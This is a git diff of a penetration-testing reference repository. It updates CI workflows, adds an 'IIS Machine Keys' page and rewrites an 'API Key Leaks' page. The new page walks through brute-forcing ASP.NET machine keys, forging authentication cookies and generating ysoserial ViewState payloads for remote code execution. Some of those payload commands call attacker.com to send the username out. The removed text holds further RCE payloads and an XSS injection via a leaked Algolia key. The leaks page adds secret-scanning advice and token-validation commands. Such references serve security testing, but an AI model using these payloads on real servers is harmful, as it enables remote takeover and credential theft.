{% endblock %} {% endblock %}

23
.github/workflows/check-markdown.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: check-markdown
on: [push, pull_request]
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: tj-actions/changed-files@v47
id: changed-files
with:
files: '**/*.md'
separator: ","
- uses: DavidAnson/markdownlint-cli2-action@v20
if: steps.changed-files.outputs.any_changed == 'true'
with:
globs: ${{ steps.changed-files.outputs.all_changed_files }}
separator: ","
config: ./.github/.markdownlint.json

View File

@@ -1,4 +1,4 @@
name: ci name: mkdocs-build
on: on:
push: push:
branches: branches:
@@ -8,12 +8,12 @@ jobs:
deploy: deploy:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v2 - uses: actions/checkout@v6
with: with:
submodules: recursive submodules: recursive
# Checks-out submodules # Checks-out submodules
- uses: actions/checkout@v2 - uses: actions/checkout@v6
- name: Checkout submodules - name: Checkout submodules
shell: bash shell: bash
run: | run: |
@@ -23,12 +23,13 @@ jobs:
git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
mv docs/.github/overrides . mv docs/.github/overrides .
- uses: actions/setup-python@v2 - uses: actions/setup-python@v6
with: with:
python-version: 3.x python-version: 3.x
- run: pip install mkdocs-material - run: pip install mkdocs-material
- run: pip install mkdocs-git-revision-date-localized-plugin - run: pip install mkdocs-git-revision-date-localized-plugin
- run: pip install mkdocs-git-committers-plugin - run: pip install mkdocs-git-committers-plugin
- run: pip install mkdocs-material[imaging] - run: pip install mkdocs-material[imaging]
- run: pip install mdx_truly_sane_lists
- run: mkdocs gh-deploy --force - run: mkdocs gh-deploy --force

View File

@@ -0,0 +1,207 @@
# IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
## Summary
* [Viewstate Format](#viewstate-format)
* [Machine Key Format And Locations](#machine-key-format-and-locations)
* [Identify Known Machine Key](#identify-known-machine-key)
* [Decode ViewState](#decode-viewstate)
* [Generate ViewState For RCE](#generate-viewstate-for-rce)
* [MAC Is Not Enabled](#mac-is-not-enabled)
* [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
* [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
* [References](#references)
## Viewstate Format
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
| Format | Properties |
| --- | --- |
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
| Base64 + MAC | `EnableViewStateMac=True` |
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
Usually unencrypted viewstate are starting with the string `/wEP`.
## Machine Key Format And Locations
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
The format of a machineKey is the following.
```xml
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
```
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bits
* `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
* `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
* 64-bits
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
## Identify Known Machine Key
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
```powershell
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
____ ____.__ __ .__ __
\ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
\ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
\ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
\___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
\/ \/ \/ \/ \/
KEY FOUND!!!
Host:
Validation Key: XXXXX,XXXXX
```
* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
```ps1
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
Matching MachineKeys found!
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
```
* [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets)
```ps1
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
```
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
```powershell
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
```
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
```powershell
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
```
List of interesting machine keys to use:
* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
## Decode ViewState
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
```powershell
viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
```
## Generate ViewState For RCE
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
**Requirements**:
* `__VIEWSTATE`
* `__VIEWSTATEGENERATOR`
### MAC Is Not Enabled
```ps1
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
```
### MAC Is Enabled And Encryption Is Disabled
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
```ps1
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
# --modifier = `__VIEWSTATEGENERATOR` parameter value
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
```
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
```ps1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
# --generator = `__VIEWSTATEGENERATOR` parameter value
# --validationkey = validation key from the previous command
```
### MAC Is Enabled And Encryption Is Enabled
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
```ps1
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
```
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
```ps1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
## Edit Cookies With The Machine Key
If you have the `machineKey` but the viewstate is disabled.
ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
## References
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://web.archive.org/web/20250916225422/https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://web.archive.org/web/20250806010506/https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://web.archive.org/web/20250810191756/https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://web.archive.org/web/20260116051627/https://notsosecure.com/project-blacklist3r)
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://web.archive.org/web/20260107194152/https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

View File

@@ -1,241 +1,108 @@
# API Key Leaks # API Key and Token Leaks
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares. > API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
- [Exploit](#exploit) - [Methodology](#methodology)
- [Google Maps](#google-maps) - [Common Causes of Leaks](#common-causes-of-leaks)
- [Algolia](#algolia) - [Validate The API Key](#validate-the-api-key)
- [Slack API Token](#slack-api-token) - [Reducing The Attack Surface](#reducing-the-attack-surface)
- [Facebook Access Token](#facebook-access-token) - [References](#references)
- [Github client id and client secret](#github-client-id-and-client-secret)
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
- [Twitter API Secret](#twitter-api-secret)
- [Twitter Bearer Token](#twitter-bearer-token)
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
- [HockeyApp API Token](#hockeyapp-api-token)
- [IIS Machine Keys](#iis-machine-keys)
- [Mapbox API Token](#Mapbox-API-Token)
## Tools ## Tools
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web - [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid - [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms.
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place - [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks.
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web.
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place.
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints.
```powershell
nuclei -t token-spray/ -var token=token_list.txt
```
## Methodology
- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
### Common Causes of Leaks
- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
```py
# Example of hardcoded API key
api_key = "1234567890abcdef"
```
- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
```ps1 ```ps1
## Scan a Github Organization ## Scan a Github Organization
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
## Scan a GitHub Repository, its Issues and Pull Requests ## Scan a GitHub Repository, its Issues and Pull Requests
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
```
## Scan a Docker image for verified secrets
- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
```ps1
# Scan a Docker image for verified secrets
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
``` ```
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints - **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
```powershell
nuclei -t token-spray/ -var token=token_list.txt - **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
```
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms ### Validate The API Key
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
```yaml
patterns:
- pattern:
name: AWS API Gateway
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
confidence: low
- pattern:
name: AWS API Key
regex: AKIA[0-9A-Z]{16}
confidence: high
```
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
- **Example**: Telegram Bot API Token
```ps1 ```ps1
python examples/cli.py --url http://example.com/contains_bad_secret.html curl https://api.telegram.org/bot<TOKEN>/getMe
python examples/cli.py eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo
python ./badsecrets/examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
python ./badsecrets/examples/telerik_knownkey.py --url http://vulnerablesite/Telerik.Web.UI.DialogHandler.aspx
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
``` ```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
## Exploit
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token. ## Reducing The Attack Surface
### Google Maps Check the existence of a private key or AWS credentials before committing your changes in a GitHub repository.
Use : https://github.com/ozguralp/gmapsapiscanner/ Add these lines to your `.pre-commit-config.yaml` file.
| Name | Endpoint | ```yml
| --------------------- | --------- | - repo: https://github.com/pre-commit/pre-commit-hooks
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE | rev: v3.2.0
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE | hooks:
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE | - id: detect-aws-credentials
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE | - id: detect-private-key
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510&timestamp=1331161200&key=KEY_HERE |
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
Impact:
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
### Algolia
```powershell
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
```
### Slack API Token
```powershell
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
```
### Facebook Access Token
```powershell
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
```
### Github client id and client secret
```powershell
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
```
### Twilio Account_sid and Auth token
```powershell
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
```
### Twitter API Secret
```powershell
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
```
### Twitter Bearer Token
```powershell
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
```
### Gitlab Personal Access Token
```powershell
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
```
### HockeyApp API Token
```powershell
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
```
### IIS Machine Keys
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
Requirements
* machineKey **validationKey** and **decryptionKey**
* __VIEWSTATEGENERATOR cookies
* __VIEWSTATE cookies
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
```xml
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
```
Common locations of **web.config** / **machine.config**
* 32-bit
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
* 64-bit
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
#### Identify known machine key
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
```powershell
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> macdecode
```
#### Decode ViewState
```powershell
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
```
#### Generate ViewState for RCE
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
```powershell
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```
#### Edit cookies with the machine key
If you have the machineKey but the viewstate is disabled.
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
```powershell
# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropriate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
``` ```
## References ## References
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d) - [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
